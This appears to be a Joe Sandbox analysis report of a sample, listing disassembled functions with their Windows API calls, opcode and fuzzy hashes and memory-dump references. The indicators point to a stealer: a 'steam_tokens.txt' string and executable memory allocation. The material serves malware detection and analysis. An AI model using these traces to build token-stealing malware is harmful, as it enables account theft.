Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: strtok_s$FileFindFirstwsprintf
String ID:
API String ID: 3409980764-0
Opcode ID: e6297ed266027f45d0230a7c120724f01216e55885e19944814bdc2ed44c2947
Instruction ID: f76cc1beba9c914c23fe4bb9ae68dc15c5d854f78c1025464ff3c96d73d0914c
Opcode Fuzzy Hash: e6297ed266027f45d0230a7c120724f01216e55885e19944814bdc2ed44c2947
Instruction Fuzzy Hash: 2A2130B152020CABDB24EF64DD55FFDB379AF44740F404068FA0A56191EF706B28DB91

Function 002F5100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA820: lstrlenA.KERNEL32(00000000,?,?,002F5B54,00300ADB,00300ADA,?,?,002F6B16,00000000,?,016503A0,?,0030110C,?,00000000), ref: 002FA82B
Part of subcall function 002FA820: lstrcpy.KERNEL32(0,00000000), ref: 002FA885

lstrlenA.KERNEL32(00000000,00000000,00300ACA,?,?,?,?,?,?,002F610B,?), ref: 002F512A

Strings

steam_tokens.txt, xrefs: 002F513F

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: c286aec3b5884e5fb465e90a3a1a1f98e7cdb440cede9982a44f5be35820ca40
Instruction ID: 9dc35002c0319925950934bf436b738731fc03b3ab95ce808dc46edcfb5b29d2
Opcode Fuzzy Hash: c286aec3b5884e5fb465e90a3a1a1f98e7cdb440cede9982a44f5be35820ca40
Instruction Fuzzy Hash: D0F0FBB1D2010C66CB04F7A0DD57DFDB73C9B54380F804278BA5A62092EF346A29CAA2

Function 002F7ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00300E2C), ref: 002F7F00
wsprintfA.USER32 ref: 002F7F16

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: aebf0137fb29c35774fe7a8a7dd2cf3943459c0cf06c175ed39c9a1540c0b3fb
Instruction ID: fafe8aa660c650875fa619ac878c798d49c025def3875284e02f57865db6467d
Opcode Fuzzy Hash: aebf0137fb29c35774fe7a8a7dd2cf3943459c0cf06c175ed39c9a1540c0b3fb
Instruction Fuzzy Hash: 91F0F0B1A00208EBCB10CF84DC45FBAF7BCFB49B24F000669F60592280D7B829048BE1

Function 002EB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E9E10: memcmp.MSVCRT(?,v20,00000003), ref: 002E9E2D

lstrlenA.KERNEL32(00000000), ref: 002EB9C2
lstrlenA.KERNEL32(00000000), ref: 002EB9D6

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: ce4e5a7e1d4595ff7b387a04a985f221811d5b0e1705ccf2c4445a65e965145b
Instruction ID: 8401e00d92dc09fccfa6c5bf13ec11ea6331cc2a6a413e71ce21696458cc19bf
Opcode Fuzzy Hash: ce4e5a7e1d4595ff7b387a04a985f221811d5b0e1705ccf2c4445a65e965145b
Instruction Fuzzy Hash: 08E1EEB292011C9BDB15EBA0CC92DFEB338AF54780F404179F60B66095EF746A59CF62

Function 002EAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

lstrlenA.KERNEL32(00000000), ref: 002EB16A
lstrlenA.KERNEL32(00000000), ref: 002EB17E

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: da892d48938aeb9d8130ced196ed6d9261c4d2c763113e4f937c341d6bb1ed51
Instruction ID: d6ae7de8b3331e2fa50a8f3d44bd3227c17071e15fcb42757b742a97089cd317
Opcode Fuzzy Hash: da892d48938aeb9d8130ced196ed6d9261c4d2c763113e4f937c341d6bb1ed51
Instruction Fuzzy Hash: 5B91F3B192010C9BDB15EBA0DC56DFEB338AF54780F404179F60BA6095EF746A19CF62

Function 002EB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

lstrlenA.KERNEL32(00000000), ref: 002EB42E
lstrlenA.KERNEL32(00000000), ref: 002EB442

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 33c28cc2b072e5f6663797b46d12a67fc8883125d2fdc7bb1093f418daec3091
Instruction ID: 93003beb95e3252d394bc81112036ff1bbee0548cd43c783fef911579011cf5d
Opcode Fuzzy Hash: 33c28cc2b072e5f6663797b46d12a67fc8883125d2fdc7bb1093f418daec3091
Instruction Fuzzy Hash: 337111B192010C9BDB15EBA0DD56DFEB338AF54780F404538F60AA6095EF746A29CF62

Function 002E6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(002E6DBE,002E6DBE,00003000,00000040), ref: 002E6706
VirtualAlloc.KERNEL32(00000000,002E6DBE,00003000,00000040), ref: 002E6753

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9277b345bcdeb6e18d16e57cbc5368d430e9722c6ad6bc3e1e94251e3ab235d4
Instruction ID: 27877a306f2faf34f2266f594be9fb975da181dda7867fe1daaa921e9b9437b3
Opcode Fuzzy Hash: 9277b345bcdeb6e18d16e57cbc5368d430e9722c6ad6bc3e1e94251e3ab235d4
Instruction Fuzzy Hash: D3411674A50209EFCB44CF99C494BADBBB5FF58354F6482A9E8099B341C735EA91CF80

Function 002E10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,002E114E,?,?,002F6A1C), ref: 002E10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,002E114E,?,?,002F6A1C), ref: 002E10F7

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: e6199a49bd2bb3abba411395c66580b7d7802cac95f878f660792d64d356dcab
Instruction ID: f5789b95762cb0915f973b7fe99da627d78ae1a2d19b6472c0bc8827dcc384dc
Opcode Fuzzy Hash: e6199a49bd2bb3abba411395c66580b7d7802cac95f878f660792d64d356dcab
Instruction Fuzzy Hash: 38F0E271681208BBEB149AA5AC59FBAB7E8E705B15F300458FA04E3280D5719E14DAA4

Function 002F8D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,002F0117,?,00000000,?,00000000,00300DAB,00300DAA), ref: 002F8D9F

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 84abf6f877e8054da761e4d564f323a83342cc201e49442fb7e568e6760fb122
Instruction ID: 5494b1f11d08dbeb92642f8eeb544e8740bc3dc910a3c9047907dae31176ee43
Opcode Fuzzy Hash: 84abf6f877e8054da761e4d564f323a83342cc201e49442fb7e568e6760fb122
Instruction Fuzzy Hash: 49F0A570C1020CEBCB14EFA4D5496ECFB74EF11390F1082A9E966672D1DB745A6ADF81

Function 002F8DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 002F8E0B

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

